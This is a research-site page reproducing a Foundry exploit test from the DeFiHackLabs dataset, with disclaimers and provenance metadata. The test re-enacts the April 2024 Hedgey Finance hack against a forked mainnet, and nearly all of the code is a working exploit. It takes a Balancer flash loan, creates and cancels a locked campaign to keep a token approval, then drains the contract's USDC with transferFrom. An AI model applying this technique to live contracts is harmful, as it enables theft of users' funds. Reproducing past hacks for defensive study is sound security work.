Public reproduction file
src/test/2024-04/HedgeyFinance_exp.sol
Public reproduction file for dataset entry HedgeyFinance.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "forge-std/Test.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 48M USD8// Attacker : https://etherscan.io/address/0xDed2b1a426E1b7d415A40Bcad44e98F47181dda29// Attack Contract : https://etherscan.io/address/0xC793113F1548B97E37c409f39244EE44241bF2b310// Vulnerable Contract : https://etherscan.io/address/0xBc452fdC8F851d7c5B72e1Fe74DFB63bb793D51111// Attack Tx : https://etherscan.io/tx/0x2606d459a50ca4920722a111745c2eeced1d8a01ff25ee762e22d5d4b159573913// @Info14// Vulnerable Contract Code : https://etherscan.io/address/0xBc452fdC8F851d7c5B72e1Fe74DFB63bb793D511#code16// @Analysis17// Post-mortem : https://medium.com/@CUBE3AI/hedgey-finance-hack-detected-by-cube3-ai-minutes-before-exploit-1f500e7052d418// Twitter Guy : https://twitter.com/Cube3AI/status/178129451271682091819// Hacking God :21enum TokenLockup {22 Unlocked,23 Locked,24 Vesting25}27struct Campaign {28 address manager;29 address token;30 uint256 amount;31 uint256 end;32 TokenLockup tokenLockup;33 bytes32 root;34}36struct Donation {37 address tokenLocker;38 uint256 amount;39 uint256 rate;40 uint256 start;41 uint256 cliff;42 uint256 period;43}45struct ClaimLockup {46 address tokenLocker;47 uint256 start;48 uint256 cliff;49 uint256 period;50 uint256 periods;51}53interface IClaimCampaigns {54 function createLockedCampaign(55 bytes16 id,56 Campaign memory campaign,57 ClaimLockup memory claimLockup,58 Donation memory donation59 ) external;61 function cancelCampaign(62 bytes16 campaignId63 ) external;64}66contract HedgeyFinance is Test {67 uint256 blocknumToForkFrom = 19_687_890 - 1;69 IBalancerVault private constant BalancerVault = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);70 IERC20 private constant USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);72 // HedgeyFinance73 IClaimCampaigns private constant HedgeyFinance = IClaimCampaigns(0xBc452fdC8F851d7c5B72e1Fe74DFB63bb793D511);75 // Stolen money 1.305.000 USD76 uint256 loan = 1_305_000 * 1e6;78 function setUp() public {79 vm.createSelectFork("mainnet", blocknumToForkFrom);81 vm.label(address(USDC), "USDC");82 vm.label(address(BalancerVault), "BalancerVault");83 }85 function testExploit() public {86 deal(address(this), 0 ether);87 emit log_named_decimal_uint("Attacker USDC balance before exploit", address(this).balance, 18);89 address[] memory tokens = new address[](1);90 tokens[0] = address(USDC);91 uint256[] memory amounts = new uint256[](1);92 amounts[0] = loan;94 BalancerVault.flashLoan(address(this), tokens, amounts, "");96 // At this point we have an Approval97 uint256 HedgeyFinance_balance = USDC.balanceOf(address(HedgeyFinance));98 USDC.transferFrom(address(HedgeyFinance), address(this), HedgeyFinance_balance);100 emit log_named_decimal_uint(101 "Attacker USDC balance after exploit", USDC.balanceOf(address(this)), USDC.decimals()102 );103 }105 function receiveFlashLoan(106 address[] memory,107 uint256[] memory amounts,108 uint256[] memory fees,109 bytes memory110 ) external payable {111 // Start new campage112 USDC.approve(address(HedgeyFinance), loan);114 // Id115 bytes16 campaign_id = 0x00000000000000000000000000000001;117 Campaign memory campaign;118 campaign.manager = address(this);119 campaign.token = address(USDC);120 campaign.amount = loan;121 campaign.end = 3_133_666_800;122 campaign.tokenLockup = TokenLockup.Locked;123 campaign.root = ""; // 0x0000000000000000000000000000000000000000000000000000000000000000125 ClaimLockup memory claimLockup;126 claimLockup.tokenLocker = address(this);127 claimLockup.start = 0;128 claimLockup.cliff = 0;129 claimLockup.period = 0;130 claimLockup.periods = 0;132 Donation memory donation;133 donation.tokenLocker = address(this);134 donation.amount = 0;135 donation.rate = 0;136 donation.start = 0;137 donation.start = 0;138 donation.cliff = 0;139 donation.period = 0;141 HedgeyFinance.createLockedCampaign(campaign_id, campaign, claimLockup, donation);143 HedgeyFinance.cancelCampaign(campaign_id);145 // pay back the FlashLoan146 USDC.transfer(address(BalancerVault), loan);147 }148}Analysis
Dataset entry
Public Foundry test for “HedgeyFinance” (2024-04-19). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2024-04/ATM_exp.solSame month in the dataset · 87 lines
- src/test/2024-04/BigBangSwap_exp.solSame month in the dataset · 118 lines
- src/test/2024-04/BNBX_exp.solSame month in the dataset · 70 lines
- src/test/2024-04/ChaingeFinance_exp.solSame month in the dataset · 145 lines
- src/test/2024-04/FIL314_exp.solSame month in the dataset · 55 lines
- src/test/2024-04/GFA_exp.solSame month in the dataset · 63 lines
- src/test/2024-04/GROKD_exp.solSame month in the dataset · 172 lines
- src/test/2024-04/Hackathon_exp.solSame month in the dataset · 63 lines
- src/test/2024-04/HoppyFrogERC_exp.solSame month in the dataset · 57 lines
- src/test/2024-04/MARS_exp.solSame month in the dataset · 101 lines
- src/test/2024-04/NGFS_exp.solSame month in the dataset · 91 lines
- src/test/2024-04/OpenLeverage2_exp.solSame month in the dataset · 239 lines
- src/test/2024-04/PikeFinance_exp.solSame month in the dataset · 70 lines
- src/test/2024-04/Rico_exp.solSame month in the dataset · 119 lines
- src/test/2024-04/SATX_exp.solSame month in the dataset · 82 lines
- src/test/2024-04/SQUID_exp.solSame month in the dataset · 86 lines
- src/test/2024-04/SumerMoney_exp.solSame month in the dataset · 144 lines
- src/test/2024-04/UnverifiedContr_0x00C409_exp.solSame month in the dataset · 96 lines
- src/test/2024-04/UPS_exp.solSame month in the dataset · 75 lines
- src/test/2024-04/WSM_exp.solSame month in the dataset · 84 lines
- src/test/2024-04/XBridge_exp.solSame month in the dataset · 55 lines
- src/test/2024-04/YIEDL_exp.solSame month in the dataset · 97 lines
- src/test/2024-04/Yield_exp.solSame month in the dataset · 94 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xded2b1a426e1b7d415a40bcad44e98f47181dda2
- Attack Contract
0xc793113f1548b97e37c409f39244ee44241bf2b3
- Vulnerable Contract
0xbc452fdc8f851d7c5b72e1fe74dfb63bb793d511
- Attack Tx
0x2606d459a50ca4920722a111745c2eeced1d8a01ff25ee762e22d5d4b1595739
- Post: https://medium.com/@CUBE3AI/hedgey-finance-hack-detected-by-cube3-ai-minutes-before-exploit-1f500e7052d4
- Twitter: https://twitter.com/Cube3AI/status/1781294512716820918
- Explorer: https://etherscan.io/address/0xDed2b1a426E1b7d415A40Bcad44e98F47181dda2
- Explorer: https://etherscan.io/address/0xC793113F1548B97E37c409f39244EE44241bF2b3
- Explorer: https://etherscan.io/address/0xBc452fdC8F851d7c5B72e1Fe74DFB63bb793D511
- Explorer: https://etherscan.io/address/0xBc452fdC8F851d7c5B72e1Fe74DFB63bb793D511#code
File record
- Name
- HedgeyFinance
- Path
- src/test/2024-04/HedgeyFinance_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- f578a3a18e2429a6ac274e5bf6db173f31114f04
- Language
- Solidity
- Size
- 149 lines
- Date
- 2024-04-19
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2024-04/HedgeyFinance_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob f578a3a18e2429a6ac274e5bf6db173f31114f04, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.